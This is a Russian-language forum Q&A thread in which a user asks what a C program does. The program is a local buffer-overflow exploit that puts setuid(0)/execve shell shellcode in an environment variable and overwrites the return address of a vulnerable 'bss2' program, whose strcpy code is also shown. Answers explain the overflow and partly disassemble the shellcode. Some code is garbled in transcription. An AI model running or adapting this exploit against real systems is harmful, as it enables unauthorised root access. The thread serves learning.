#c #exploit #shellcode #execve
#c #эксплойт #шеллкод #выполнить
Вопрос:
#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="x31xdbx53x8dx43x17xcdx80x99x68x6ex2fx73x68x68"
"x2fx2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80";
int main(void){
char buf[bufsize] ;
char *proc[]={"./bss2",buf,NULL};
char *envir[]={"Bytes=2Lu",shellcode,NULL};
unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
memset(buf,0x42,sizeof(buf));
memcpy(buf bufsize - 4,(char *)amp;ret_addr,4);
execve(proc[0],proc,envir);
return 0;
}
что они делают memcpy
и memset
перед execve
?Как это влияет на программу proc
?
ОБНОВИТЕ код для bss2
#define LEN 256
void output(char *);
int main(int argc, char **argv) {
static char buffer[LEN];
static void (*func) (char *);
func = output;
strcpy(buffer, argv[1]);
func(buffer);
return EXIT_SUCCESS;
}
void output(char *string) {
fprintf(stdout, "%s", string);
}
Обновить
Кажется, теперь проблема сводится к тому, где расположены переменные среды?
Ответ №1:
Код создает строку аргументов и среду (например, место, где находятся переменные среды). Аргумент содержит "./bss2"
in argv[0]
и строку из 256 B
символов, за которой следует обратный адрес в argv[1]
. Среда содержит фиктивную переменную в первом расположении и шелл-код во втором расположении.
Предположительно, целевое приложение bss2
содержит переменную char x[256];
, в которую оно копирует argv[1]
без проверки границ. Это приводит к перезаписи адреса возврата функции адресом возврата, вычисленным в ret_addr
, который, как мы надеемся, указывает на блок среды.
Комментарии:
1. значит, адреса переменных среды одинаковы в разных процессах?
2. Адрес не тот, но, вероятно, местоположение среды относительно других частей карты памяти такое же.
Ответ №2:
Мне кажется странным, потому что аргумент buf не завершается нулем.
Ну, memset и memcpy выполняют некоторый взлом с первым аргументом программы, а затем execve запускает его. Извините, не могу сказать больше…
Комментарии:
1. Похоже, что шелл-код помещается в переменную среды, а затем в стек загружается мусор, чтобы попытаться заставить его выполнить.
2. @Jason, я только что обновил приведенный выше код
bss2
, и он не извлекает код оболочки из переменной окружения.3. Она не собирается извлекать его путем прямого доступа к переменной env, она пытается переместить стек в пространство переменных среды, где ожидает код.
4. @Jason LeBrun, я не вижу такой логики в приведенном выше коде, вы можете ее уточнить?
Ответ №3:
Я не эксперт, но похоже, что она пытается запустить какой-то эксплойт.
Индикаторы включают идентификатор shellcode
, манипулирование аргументами другого исполняемого файла с помощью memset
/ memcpy
и вычисление некоторого ret_addr
значения.
Ответ №4:
Похоже, что есть некоторые элементы, которые не определены в коде, который вы опубликовали. Определяется ли шелл-код как макрос или что-то в этомроде? Значение bufsize также неизвестно.
Похоже, что вызов memset инициализирует буфер buf восьмеричным значением 0x42.
Похоже, что вызов memcpy вставляет адрес в конец буфера обмена.
Как упоминалось, этот буфер (buf) в конечном итоге передается в качестве аргумента процессу bss2.
Ответ №5:
Не удается скомпилировать, потому что bufsize
и shellcode
не определены.
Более серьезно, похоже, что она пытается использовать переполнение буфера или что-то подобное при вызове команды командной оболочки bss2
.
Ответ №6:
В качестве упражнения для себя я начал разбирать шелл-код вручную. Я добрался до:
XOR ebx, ebx #clear ebx
PUSH ebx #push ebx onto the stack
LEA eax, [ebx 23] #load 23 into eax
INT 0x80 #do a system call
После этого мне стало скучно, но системный вызов 23 в Linux для вызовов INT 0x80 — это sys_setuid , поэтому похоже, что это код для установки UID в 0 или получения root. Неудивительно, поскольку это shell-код. 🙂
Комментарии:
1. Об этом также говорится в комментарии «setuid(0) shellcode от Матиаса Седало». Вы также можете разобрать ее с помощью ndisasm . 🙂